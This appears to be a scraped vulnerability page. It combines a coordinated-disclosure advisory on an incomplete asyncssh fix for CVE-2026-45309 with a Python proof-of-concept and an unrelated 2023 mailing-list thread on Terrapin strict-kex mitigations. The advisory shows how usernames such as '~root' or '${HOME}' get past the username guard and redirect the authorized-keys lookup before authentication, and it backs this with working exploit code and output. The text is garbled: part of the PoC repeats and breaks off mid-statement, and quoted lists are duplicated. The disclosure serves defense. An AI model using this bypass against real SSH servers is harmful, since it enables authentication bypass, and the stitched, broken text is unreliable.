See how asyncssh compares to other vendors in security performance
Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The 2.23.0 guard that sanitises the SSH username before %u substitution in AuthorizedKeysFile blocks /, \ and .., but does not block a leading ~ (or ${ENV}), both of which are re-introduced by later expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863, HEAD on 2026-05-29).
## Summary The fix for CVE-2026-45309 added a guard in SSHServerConfig.settokens (asyncssh/config.py:715-716) that rejects an SSH username containing /, \, or equal to .., before it is substituted for the %u token in AuthorizedKeysFile:
if self.user == '..' or '/' in self.user or '\\' in self.user: raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through environment-variable expansion (expandval, config.py:145-149 — token expansion then env expansion) and, at file-open time, through expanduser() (readauthorizedkeys → readfile → open(Path(filename).expanduser()), authkeys.py:348 → misc.py:290). Both re-introduce the path control the guard was meant to remove, so a username that contains no //\ can still cause the server to read an authorized-keys file outside the intended per-user directory.
The client-supplied username reaches this path pre-authentication: processuserauthrequest takes the username from the SSHMSGUSERAUTHREQUEST packet (connection.py:2516-2519) and finishuserauth calls reloadconfig() (connection.py:2536), which re-evaluates AuthorizedKeysFile with username=self.username (connection.py:5906) before the offered key is validated.
## Primary vector — leading ~ A username such as ~root or ~victim passes the guard (no /). For a server whose AuthorizedKeysFile begins with %u — e.g. AuthorizedKeysFile %u/.ssh/authorizedkeys — the expanded value is ~victim/.ssh/authorizedkeys, which expanduser() resolves to /home/victim/.ssh/authorizedkeys (~root → /root/...; a bare ~ → the server process's home). The username has therefore escaped the intended per-user location without using any path separator — defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector requires %u to be the first path component of AuthorizedKeysFile. (The CVE-2026-45309 authorizedkeys/%u example — %u not leading — is not reachable this way; that was the ../ form.)
## Impact and limitations - Demonstrated (verified against source at a60f863): the guard is bypassable and the authorized-keys lookup is redirected to an attacker-named home tree, pre-auth, with a separator-free username. - Impact model = identical to CVE-2026-45309: authenticating as the redirected username when a readable authorized-keys file containing the attacker's key is reachable at the redirected location. The parent CVE accepted this exact precondition and was scored C:N/I:H/A:N; this is scored consistently. - Not built: a live multi-account SSH auth harness; the PoC verifies the path-redirection mechanism in-process, deterministically. No new primitive is claimed beyond the parent CVE's accepted model — only that the 2.23.0 fix does not close it for ~/${ENV}. - Preconditions (captured by AC:H): %u must be the leading path component; on Python 3.13, Path('~nonexistentuser').expanduser() raises RuntimeError, so only existing accounts are reachable (confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only) A username like ${HOME} also passes the guard and is then environment-expanded, re-introducing /. Weaker and not a practical exploit: the attacker can only reference env vars that already exist in the server process (a missing variable raises ConfigParseError) and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh PYTHONPATH=/path/to/asyncssh python3 pocauthkeystokenbypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present) literal-slash user '/etc' blocked: True [A] tilde bypass user '~root': guard blocks it? False (False == bypass) expanded config value : ['~root/.ssh/authorizedkeys'] after expanduser() : /root/.ssh/authorizedkeys <-- read as authorizedkeys VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix Tighten settokens to also reject usernames that re-introduce path control after expansion — reject a leading ~ / ~user and $/${ references in self.user. More robustly, validate that the FINAL expanded AuthorizedKeysFile path remains within the intended base directory, and/or suppress expanduser/environment expansion on the %u-derived component specifically.
## Disclosure Coordinated, ~90-day default. I will not publish details/PoC before a fix is released, and am happy to validate the patch. Credit (if given) to cesabici-bit.
## PoC source (see code block below)
python #!/usr/bin/env python3 """ PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in SSHServerConfig.settokens that rejects a client username containing '/', '\\', or equal to '..' before it is substituted for the %u token in the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run through (1) ${ENV} expansion and (2) ~ expanduser(), both of which re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets a separator-free username (e.g. '~root') escape to another home tree when %u is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can only REFERENCE env vars that already exist on the server and cannot control their VALUES; the ${ASYNCSSHPOCVAR} demo below sets the var itself purely to illustrate the expansion, and does NOT represent attacker capability. Treat (1) as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.: cd /tmp/targets/asyncssh && python3 <thisfile> """
import os import sys import tempfile from pathlib import Path
import asyncssh from asyncssh.config import SSHServerConfig
try: from asyncssh.misc import IllegalUserName except Exception: # pragma: no cover IllegalUserName = asyncssh.IllegalUserName
def expandauthkeys(user, cfgtext): """Load a server config exactly as SSHServerConnection does and return the expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the CVE-2026-45309 guard fires.""" with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f: f.write(cfgtext) cfgpath = f.name try: # mirror connection.py:8897 # SSHServerConfig.load(lastconfig, config, reload, canonical, final, # acceptaddr, acceptport, username, # clienthost, clientaddr) cfg = SSHServerConfig.load( None, cfgpath, True, False, False, "127.0.0.1", 22, user, "client.example", "203.0.113.7", ) return cfg.get("AuthorizedKeysFile") finally: os.unlink(cfgpath)
def guardblocks(user, cfgtext): """Return True if the CVE-2026-45309 guard rejects this username.""" try: expandauthkeys(user, cfgtext) return False except IllegalUserName: return True
def main(): print(f"# asyncssh {asyncssh.version} ({asyncssh.file})") print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally ----------------------- cfg = "AuthorizedKeysFile /etc/ssh/authorizedkeys.d/%u" val = expandauthkeys("alice", cfg) print(f"[0] benign user 'alice': {val}") results.append(("benign expands to per-user path", val == ["/etc/ssh/authorizedkeys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked --------------------- blocked = guardblocks("../../../../tmp/evil", cfg) print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}") results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose) slashblocked = guardblocks("/etc", cfg) print(f" literal-slash user '/etc' blocked: {slashblocked}") results.append(("literal-slash username is blocked", slashblocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() ------- cfga = "AuthorizedKeysFile %u/.ssh/authorizedkeys" blockeda = guardblocks("~root", cfga) vala = expandauthkeys("~root", cfga) resolveda = str(Path(vala[0]).expanduser()) # what readfile()/openfile() does print(f"[A] tilde bypass user '~root':") print(f" guard blocks it? {blockeda} (False == bypass)") print(f" expanded config value : {vala}") print(f" after expanduser() : {resolveda} <-- read as authorizedkeys") results.append(("A: ~user NOT blocked by guard", not blockeda)) results.append(("A: expanduser() redirects to another home tree", resolveda.startswith("/root/") or "~" not in resolveda))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' ----------- # The username contains no '/','\\' and is not '..', so the guard passes. # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a # server value that DOES contain '/', defeating the separator filter. cfgb = "AuthorizedKeysFile %u" os.environ.setdefault("HOME", "/root") blockedb = guardblocks("${HOME}", cfgb) valb = expandauthkeys("${HOME}", cfgb) print(f"[B] env bypass user '${{HOME}}':") print(f" guard blocks it? {blockedb} (False == bypass)") print(f" expanded config value : {valb} (HOME={os.environ['HOME']})") sepinjected = any("/" in p for p in valb) print(f" contains '/' after guard? {sepinjected} <-- separator filter bypassed") results.append(("B: ${ENV} username NOT blocked by guard", not blockedb)) results.append(("B: ${ENV} re-introduces '/' the guard rejected literally", sepinjected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var os.environ["ASYNCSSHPOCVAR"] = "/tmp/asyncsshpoc/INJECTED/authorizedkeys" valb2 = expandauthkeys("${ASYNCSSHPOCVAR}", cfgb) print(f" via referenced env var: {valb2}") results.append(("B: env value yields absolute '/'-path post-guard", valb2 == ["/tmp/asyncsshpoc/INJECTED/authorizedkeys"]))
# ---- verdict ---------------------------------------------------------- print("\n==== RESULTS ====") ok = True for name, passed in results: print(f" [{'PASS' if passed else 'FAIL'}] {name}") ok = ok and passed print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' ----------- # The username contains no '/','\\' and is not '..', so the guard passes. # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a # server value that DOES contain '/', defeating the separator filter. cfgb = "AuthorizedKeysFile %u" os.environ.setdefault("HOME", "/root") blockedb = guardblocks("${HOME}", cfgb) valb = expandauthkeys("${HOME}", cfgb) print(f"[B] env bypass user '${{HOME}}':") print(f" guard blocks it? {blockedb} (False == bypass)") print(f" expanded config value : {valb} (HOME={os.environ['HOME']})") sepinjected = any("/" in p for p in valb) print(f" contains '/' after guard? {sepinjected} <-- separator filter bypassed") results.append(("B: ${ENV} username NOT blocked by guard", not blockedb)) results.append(("B: ${ENV} re-introduces '/' the guard rejected literally", sepinjected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var os.environ["ASYNCSSHPOCVAR"] = "/tmp/asyncsshpoc/INJECTED/authorizedkeys" valb2 = expandauthkeys("${ASYNCSSHPOCVAR}", cfgb) print(f" via referenced env var: {valb2}") results.append(("B: env value yields absolute '/'-path post-guard", valb2 == ["/tmp/asyncsshpoc/INJECTED/authorizedkeys"]))
# ---- verdict ---------------------------------------------------------- print("\n==== RESULTS ====") ok = True for name, passed in results: print(f" [{'PASS' if passed else 'FAIL'}] {name}") ok = ok and passed print("\nVERDICT:", "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)" if ok else "one or more checks did not hold") return 0 if ok else 1
if name == "main": sys.exit(main())
On Tue, Dec 19, 2023 at 01:31:03PM -0800, Alan Coopersmith wrote: On 12/18/23 08:08, Fabian Bäumer wrote: Mitigations
To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to a variety of SSH implementations, including OpenSSH itself, PuTTY, libssh, and more.
Warning: To take effect, both the client and server must support this countermeasure. Open source projects I see have implemented this already are:
- AsyncSSH 2.14.2: https://asyncssh.readthedocs.io/en/latest/changes.html#release-2-14-2-18-dec-2023
- Dropbear git: https://github.com/mkj/dropbear/commit/6e43be5c7b99dbee49dc72b6f989f29fdd7e9356
- Erlang ssh 5.1.1: https://www.erlang.org/doc/apps/ssh/notes
- golang.org/x/crypto 0.17.0: https://groups.google.com/g/golang-announce/c/qA3XtxvMUyg
- libssh 0.10.6 and 0.9.8: https://www.libssh.org/2023/12/18/libssh-0-10-6-and-libssh-0-9-8-security-releases/
- libssh2 git: https://github.com/libssh2/libssh2/issues/1290 https://github.com/libssh2/libssh2/pull/1291
- OpenSSH 9.6: https://www.openssh.com/txt/release-9.6
- Paramiko 3.4.0: https://www.paramiko.org/changelog.html#3.4.0
- PuTTY 0.80: https://lists.tartarus.org/pipermail/putty-announce/2023/000037.html
- russh 0.40.2: https://github.com/warp-tech/russh/releases/tag/v0.40.2
- SFTPGo 2.5.6: https://github.com/drakkan/sftpgo/releases/tag/v2.5.6
- ssh2 [node.js/npm] 1.15.0: https://github.com/mscdex/ssh2/commits/v1.15.0
- Tera Term 5.1: https://github.com/TeraTermProject/teraterm/releases/tag/v5.1
- Thrussh 0.35.1: https://pijul.org/posts/2023-12-18-thrussh-cve/
There's also some open bugs against these open source projects that are not yet handled:
- Apache Mina: https://github.com/apache/mina-sshd/issues/445
- ProFTPD (modsftp): https://github.com/proftpd/proftpd/issues/1760
- SSHJ: https://github.com/hierynomus/sshj/issues/916 some more
Jsch (Java SSH): release 0.2.15 fixes it https://github.com/mwiede/jsch/releases/tag/jsch-0.2.15
Also apache-sshd and trilead-ssh2 as Java SSH implementations are affected.
tinyssh affected, has a ticket open.
rubygem-net-ssh also affected.
The rust ecosystem has a ssh crate which fixates its used libssh version. "libssh2-sys", so crates and binaries referencing will need updates.
python Twisted has an SSH stack too, but no chacha or etm macs so far.
Ciao, Marcus
On 12/18/23 08:08, Fabian Bäumer wrote: Mitigations
Open source projects I see have implemented this already are:
- AsyncSSH 2.14.2: https://asyncssh.readthedocs.io/en/latest/changes.html#release-2-14-2-18-dec-2023
- Dropbear git: https://github.com/mkj/dropbear/commit/6e43be5c7b99dbee49dc72b6f989f29fdd7e9356
- Erlang ssh 5.1.1: https://www.erlang.org/doc/apps/ssh/notes
- golang.org/x/crypto 0.17.0: https://groups.google.com/g/golang-announce/c/qA3XtxvMUyg
- libssh 0.10.6 and 0.9.8: https://www.libssh.org/2023/12/18/libssh-0-10-6-and-libssh-0-9-8-security-releases/
- libssh2 git: https://github.com/libssh2/libssh2/issues/1290 https://github.com/libssh2/libssh2/pull/1291
- OpenSSH 9.6: https://www.openssh.com/txt/release-9.6
- Paramiko 3.4.0: https://www.paramiko.org/changelog.html#3.4.0
- PuTTY 0.80: https://lists.tartarus.org/pipermail/putty-announce/2023/000037.html
- russh 0.40.2: https://github.com/warp-tech/russh/releases/tag/v0.40.2
- SFTPGo 2.5.6: https://github.com/drakkan/sftpgo/releases/tag/v2.5.6
- ssh2 [node.js/npm] 1.15.0: https://github.com/mscdex/ssh2/commits/v1.15.0
- Tera Term 5.1: https://github.com/TeraTermProject/teraterm/releases/tag/v5.1
- Thrussh 0.35.1: https://pijul.org/posts/2023-12-18-thrussh-cve/
There's also some open bugs against these open source projects that are not yet handled:
- Apache Mina: https://github.com/apache/mina-sshd/issues/445
- ProFTPD (modsftp): https://github.com/proftpd/proftpd/issues/1760
- SSHJ: https://github.com/hierynomus/sshj/issues/916
-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris